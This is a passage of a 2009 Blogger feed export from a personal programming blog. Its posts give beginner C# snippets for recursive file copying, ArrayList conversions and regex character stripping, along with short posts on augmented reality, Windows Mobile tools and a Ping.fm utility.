style="color:#0080ff;"&gt;width: 560px; height: 420px&lt;/span&gt;"&lt;span style="color:#0000ff;"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;and you’re ready to Publish!&lt;/p&gt;&lt;p&gt;Give it a try and don’t forget your feedback!&lt;/p&gt;&lt;p&gt;Cheers!&lt;/p&gt;&lt;div style="width: 560px; height: 420px" id="wave_Lfl9d55SA"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-8189670900475295535?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/8189670900475295535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=8189670900475295535' title='38 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8189670900475295535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8189670900475295535'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/10/add-google-wave-in-your-site.html' title='Add Google Wave In Your Web/Blog Site'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_kFNcLq9qQIg/SttNbqNstXI/AAAAAAAABgg/e6CF2dZhxYg/s72-c/image_thumb%5B10%5D.png?imgmax=800' height='72' width='72'/><thr:total>38</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7921669662971654892</id><published>2009-10-11T14:13:00.001+08:00</published><updated>2009-10-11T14:15:49.710+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.NET CF'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>C# Recursive File Folder Copy</title><content type='html'>&lt;p&gt;This is a sample code on how to recursively copy File and Folders, from Source to Destination.&lt;/p&gt;  &lt;p&gt;here’s the code.&lt;/p&gt;  &lt;pre class="csharpcode"&gt;static void FileCopy(string source, string destination)&lt;br /&gt;{&lt;br /&gt;	foreach (string files in Directory.GetFiles(source))&lt;br /&gt;	{&lt;br /&gt;		FileInfo sourceFI = new FileInfo(files);&lt;br /&gt;		DirectoryInfo destinDI = new DirectoryInfo(destination);&lt;br /&gt;&lt;br /&gt;		string newfilename = Path.Combine(destinDI.FullName, sourceFI.Name);&lt;br /&gt;&lt;br /&gt;		if (!File.Exists(newfilename))&lt;br /&gt;		{&lt;br /&gt;			File.Copy(files, newfilename, true);&lt;br /&gt;		}&lt;br /&gt;	}&lt;br /&gt;&lt;br /&gt;	foreach (string dirs in Directory.GetDirectories(source))&lt;br /&gt;	{&lt;br /&gt;		DirectoryInfo sourceDI = new DirectoryInfo(dirs);&lt;br /&gt;		DirectoryInfo destinDI = new DirectoryInfo(destination);&lt;br /&gt;&lt;br /&gt;		string newdirname = Path.Combine(destinDI.FullName, sourceDI.Name);&lt;br /&gt;&lt;br /&gt;		if (!Directory.Exists(newdirname))&lt;br /&gt;		{&lt;br /&gt;			Directory.CreateDirectory(newdirname);&lt;br /&gt;		}&lt;br /&gt;&lt;br /&gt;		FileCopy(dirs, newdirname);&lt;br /&gt;	}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7921669662971654892?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7921669662971654892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7921669662971654892' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7921669662971654892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7921669662971654892'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/10/c-recursive-file-folder-copy.html' title='C# Recursive File Folder Copy'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6134305062996389018</id><published>2009-09-09T18:01:00.001+08:00</published><updated>2009-09-09T18:01:02.537+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips and Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='string[]'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='ArrayList'/><title type='text'>ArrayList to Array of String to ArrayList</title><content type='html'>&lt;p&gt;A few shortcut ways to convert ArrayList to Array of String, Array of String to ArrayList, or Join the string from ArrayList.  &lt;br /&gt;&lt;br /&gt;Here’s the code&lt;/p&gt;&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; ConsoleApplication1&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;class&lt;/span&gt; Program&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; ArrayListToArrayOfStrings()&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;span class="str"&gt;&amp;quot;ArrayList To Array Of Strings&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            ArrayList array_list = &lt;span class="kwrd"&gt;new&lt;/span&gt; ArrayList();&lt;br /&gt;            array_list.Add(&lt;span class="str"&gt;&amp;quot;one&amp;quot;&lt;/span&gt;);&lt;br /&gt;            array_list.Add(&lt;span class="str"&gt;&amp;quot;two&amp;quot;&lt;/span&gt;);&lt;br /&gt;            array_list.Add(&lt;span class="str"&gt;&amp;quot;three&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// THIS CONVERTS THE ARRAYLIST TO ARRAY OF STRINGS&lt;/span&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt;[] array_of_strings = (&lt;span class="kwrd"&gt;string&lt;/span&gt;[])array_list.ToArray(&lt;span class="kwrd"&gt;typeof&lt;/span&gt;(&lt;span class="kwrd"&gt;string&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; array_of_strings)&lt;br /&gt;            {&lt;br /&gt;                Console.WriteLine(s);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            Console.ReadLine();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; ArrayListToStringWithSeparator()&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;span class="str"&gt;&amp;quot;Array List To String With Separator&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            ArrayList array_list = &lt;span class="kwrd"&gt;new&lt;/span&gt; ArrayList();&lt;br /&gt;            array_list.Add(&lt;span class="str"&gt;&amp;quot;one&amp;quot;&lt;/span&gt;);&lt;br /&gt;            array_list.Add(&lt;span class="str"&gt;&amp;quot;two&amp;quot;&lt;/span&gt;);&lt;br /&gt;            array_list.Add(&lt;span class="str"&gt;&amp;quot;three&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// THIS CONVERTS THE ARRAYLIST TO STRING AND JOIN IT WITH SEPRATOR &amp;quot;|&amp;quot; (PIPE)&lt;/span&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; str = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Join(&lt;span class="str"&gt;&amp;quot;|&amp;quot;&lt;/span&gt;, (&lt;span class="kwrd"&gt;string&lt;/span&gt;[])array_list.ToArray(&lt;span class="kwrd"&gt;typeof&lt;/span&gt;(&lt;span class="kwrd"&gt;string&lt;/span&gt;)));&lt;br /&gt;&lt;br /&gt;            Console.WriteLine(str);&lt;br /&gt;            Console.ReadLine();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; ArrayOfStringsToArrayList()&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;span class="str"&gt;&amp;quot;Array Of Strings To ArrayList&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt;[] array_of_strings = {&lt;br /&gt;                                            &lt;span class="str"&gt;&amp;quot;one&amp;quot;&lt;/span&gt;, &lt;br /&gt;                                            &lt;span class="str"&gt;&amp;quot;two&amp;quot;&lt;/span&gt;, &lt;br /&gt;                                            &lt;span class="str"&gt;&amp;quot;three&amp;quot;&lt;/span&gt;&lt;br /&gt;                                        };&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// this can be done while instantiting a new ArrayList object&lt;/span&gt;&lt;br /&gt;            ArrayList array_list = &lt;span class="kwrd"&gt;new&lt;/span&gt; ArrayList(array_of_strings);&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; array_list)&lt;br /&gt;            {&lt;br /&gt;                Console.WriteLine(s);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// or this&lt;/span&gt;&lt;br /&gt;            array_list = &lt;span class="kwrd"&gt;new&lt;/span&gt; ArrayList();&lt;br /&gt;            array_list.AddRange(array_of_strings);&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; array_list)&lt;br /&gt;            {&lt;br /&gt;                Console.WriteLine(s);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            Console.ReadLine();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; ArrayOfStringsWithSeparatorToArrayList()&lt;br /&gt;        {&lt;br /&gt;            Console.WriteLine(&lt;span class="str"&gt;&amp;quot;Array Of Strings With Separator To ArrayList&amp;quot;&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; str = &lt;span class="str"&gt;&amp;quot;one|two|three&amp;quot;&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// this can be done while instantiting a new ArrayList object&lt;/span&gt;&lt;br /&gt;            ArrayList array_list = &lt;span class="kwrd"&gt;new&lt;/span&gt; ArrayList(str.Split(&lt;span class="str"&gt;'|'&lt;/span&gt;));&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; array_list)&lt;br /&gt;            {&lt;br /&gt;                Console.WriteLine(s);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// or this&lt;/span&gt;&lt;br /&gt;            array_list = &lt;span class="kwrd"&gt;new&lt;/span&gt; ArrayList();&lt;br /&gt;            array_list.AddRange(str.Split(&lt;span class="str"&gt;'|'&lt;/span&gt;));&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; array_list)&lt;br /&gt;            {&lt;br /&gt;                Console.WriteLine(s);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            Console.ReadLine();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; Main(&lt;span class="kwrd"&gt;string&lt;/span&gt;[] args)&lt;br /&gt;        {&lt;br /&gt;            ArrayListToArrayOfStrings();&lt;br /&gt;            ArrayListToStringWithSeparator();&lt;br /&gt;            ArrayOfStringsToArrayList();&lt;br /&gt;            ArrayOfStringsWithSeparatorToArrayList();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6134305062996389018?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6134305062996389018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6134305062996389018' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6134305062996389018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6134305062996389018'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/09/arraylist-to-array-of-string-to.html' title='ArrayList to Array of String to ArrayList'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-4734642333743947874</id><published>2009-09-01T11:39:00.001+08:00</published><updated>2009-09-01T11:39:42.606+08:00</updated><title type='text'>Happy Centennial Celebration Baguio City!</title><content type='html'>&lt;p&gt;Please keep our Baguio City clean, peaceful, friendly, and happy people! &lt;/p&gt; &lt;a href="http://www.facebook.com/profile.php?id=1474617659&amp;amp;pc=1#/pages/Baguio-City-Philippines/Baguio-Centennial-2009/38959962686?sid=b925bc847ee50d83136c080c8d9ca9fa&amp;amp;ref=search"&gt;&lt;img src="http://photos-g.ak.fbcdn.net/photos-ak-snc1/v369/129/57/38959962686/n38959962686_1482310_8760.jpg" /&gt;&lt;/a&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-4734642333743947874?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/4734642333743947874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=4734642333743947874' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4734642333743947874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4734642333743947874'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/09/happy-centennial-celebration-baguio.html' title='Happy Centennial Celebration Baguio City!'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6993640276442834457</id><published>2009-08-27T17:56:00.001+08:00</published><updated>2009-08-27T18:12:14.372+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Belnder3D'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='Augmented Reality'/><category scheme='http://www.blogger.com/atom/ns#' term='ARToolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Augmented Reality using ARToolkitPlus in C#</title><content type='html'>&lt;p&gt;I was just trying this new technology trend (though, this was an old tech in Japan way back before) called &lt;a href="http://en.wikipedia.org/wiki/Augmented_reality"&gt;Augmented Reality or AR&lt;/a&gt; in C# using ARToolkitPlus. The demo code can be downloaded &lt;a href="http://sites.google.com/site/augmentedrealitytestingsite/"&gt;here&lt;/a&gt;. You can also use Blender3D for creating a 3d models and you can export it in WPF Resource Dictionary using this tutorial &lt;a href="http://blogs.microsoft.co.il/blogs/maxim/archive/2009/05/05/daily-tip-how-to-import-3d-model-to-wpf-from-blender.aspx"&gt;here&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;Anyway this is also available using Adobe Flex. &lt;a href="http://www.tinkernut.com/forum/video-tutorial-help/how-to-create-augmented-reality"&gt;Here’s the tutorial&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;here’s a mini video preview using my HTC Touch ELFIN&lt;/p&gt;  &lt;p&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Vwdy8UM833s&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Vwdy8UM833s&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6993640276442834457?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6993640276442834457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6993640276442834457' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6993640276442834457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6993640276442834457'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/08/augmented-reality-using-artoolkitplus.html' title='Augmented Reality using ARToolkitPlus in C#'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7921233551065944214</id><published>2009-08-13T17:42:00.001+08:00</published><updated>2009-08-27T17:08:55.588+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='.NET CF'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows Mobile'/><title type='text'>JSPA Program Manager 3 for Windows Mobile 6.0 and 6.5</title><content type='html'>&lt;!--&lt;br /&gt;DATA[V3.0|FIXED:&lt;br /&gt;- Supports VGA devices&lt;br /&gt;- screen orientation awareness&lt;br /&gt;- NETCFOpenFileDialog screen orientation awareness&lt;br /&gt;- added Application Update check]&lt;br /&gt;--&gt; &lt;p&gt;JSPA Program Manager allows you to manage your programs(shortcut links) in start menu on Windows Mobile 6.0 and 6.5 Smartphone. It allows you to Navigate, Move, Copy, Rename, Delete, and Create New Folder, Create New Shortcut on an easy steps.    &lt;br /&gt;    &lt;br /&gt;Mobile Development moved on my new blog site. &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://jaywinmodev.blogspot.com"&gt;JayWinMoDev Philippines&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://jaywinmodev.blogspot.com/2009/08/jspa-program-manager-allows-you-to.html"&gt;JSPA Program Manager 3&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7921233551065944214?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7921233551065944214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7921233551065944214' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7921233551065944214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7921233551065944214'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/08/jspa-program-manager-for-windows-mobile.html' title='JSPA Program Manager 3 for Windows Mobile 6.0 and 6.5'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-3124139782431583637</id><published>2009-08-09T12:22:00.001+08:00</published><updated>2009-08-21T16:01:31.302+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='Custom Controls'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows Mobile'/><title type='text'>.NET CF – Open Dialog Box</title><content type='html'>&lt;p&gt;ah, probably the first annoying Windows Mobile control. As a first time developer for Windows Mobile, I found this control, very very very inconvenient to use. I was actually developing something in Windows Mobile and I haven’t gone far on it and I have to use OpenFileDialog and that control crashes my plans.   &lt;br /&gt;    &lt;br /&gt;Mobile Development moved on my new blog site. &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://jaywinmodev.blogspot.com"&gt;JayWinMoDev Philippines&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://jaywinmodev.blogspot.com/2009/08/ah-probably-first-annoying-windows.html"&gt;NETCF Open File Diloag and Folder Dialog&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-3124139782431583637?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/3124139782431583637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=3124139782431583637' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3124139782431583637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3124139782431583637'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/08/net-cf-open-dialog-box.html' title='.NET CF – Open Dialog Box'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-3707889343245036532</id><published>2009-07-08T23:28:00.001+08:00</published><updated>2009-07-08T23:28:02.432+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RegEx'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>Remove Special Characters – The RegEx way</title><content type='html'>&lt;p&gt;A nice a simple code to remove special characters in a string or simply say, convert it alphanumeric string.    &lt;br /&gt;    &lt;br /&gt;Here’s a little piece of code:     &lt;br /&gt;    &lt;br /&gt;&lt;font size="1" face="Courier New"&gt;static string ConvertAlphaNumeric(string inpString)      &lt;br /&gt;{       &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; string s = System.Text.RegularExpressions.Regex.Replace(inpString, &amp;quot;[^\\w\\.@-]&amp;quot;, &amp;quot;&amp;quot;); &lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="1" face="Courier New"&gt;&amp;#160;&amp;#160;&amp;#160; return s;      &lt;br /&gt;}      &lt;br /&gt;      &lt;br /&gt;Enjoy.&lt;/font&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-3707889343245036532?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/3707889343245036532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=3707889343245036532' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3707889343245036532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3707889343245036532'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/07/remove-special-characters-regex-way.html' title='Remove Special Characters – The RegEx way'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6052931412702986304</id><published>2009-04-11T09:51:00.002+08:00</published><updated>2009-04-12T20:00:24.699+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Ping.fm'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Ping.fm Thingie'/><category scheme='http://www.blogger.com/atom/ns#' term='Projects'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='Integration'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Ping.fm Thingie</title><content type='html'>&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/Sd_3jEeEuVI/AAAAAAAAAvg/ojWecRqbruw/s1600-h/ping.fm%20thingie%5B11%5D.gif"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="ping.fm thingie" src="http://lh5.ggpht.com/_kFNcLq9qQIg/Sd_3j8IicHI/AAAAAAAAAvk/PHBoPRctpv0/ping.fm%20thingie_thumb%5B7%5D.gif?imgmax=800" width="400" height="92" /&gt;&lt;/a&gt;&amp;#160; &lt;br /&gt;It's just my first attempt of creating a small tool using Ping.fm APIs. &lt;br /&gt; &lt;br /&gt;I have thought of making it simpler by posting a message directly to Run Window &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/Sd_3lX9_GeI/AAAAAAAAAvo/tBFWsqZ8Tb4/s1600-h/runwindow%5B7%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="runwindow" src="http://lh5.ggpht.com/_kFNcLq9qQIg/Sd_3mir3ukI/AAAAAAAAAvs/92m8FQ4yn8M/runwindow_thumb%5B5%5D.jpg?imgmax=800" width="400" height="225" /&gt;&lt;/a&gt; &lt;br /&gt;like from the example above: &lt;br /&gt;&lt;font color="#4d4b4c"&gt;&lt;strong&gt;&lt;font color="#0080c0"&gt;pingdotfm&lt;/font&gt;&lt;/strong&gt; - Is the Executable filename which was located in your System32 folder. &lt;br /&gt;&lt;font color="#008000"&gt;your message here ...&lt;/font&gt; - The message you want to post in Ping.fm &lt;br /&gt; &lt;br /&gt;After pressing OK Button or hitting Enter key &lt;br /&gt;A small Window pops up wherever your mouse pointer is &lt;br /&gt;&lt;a 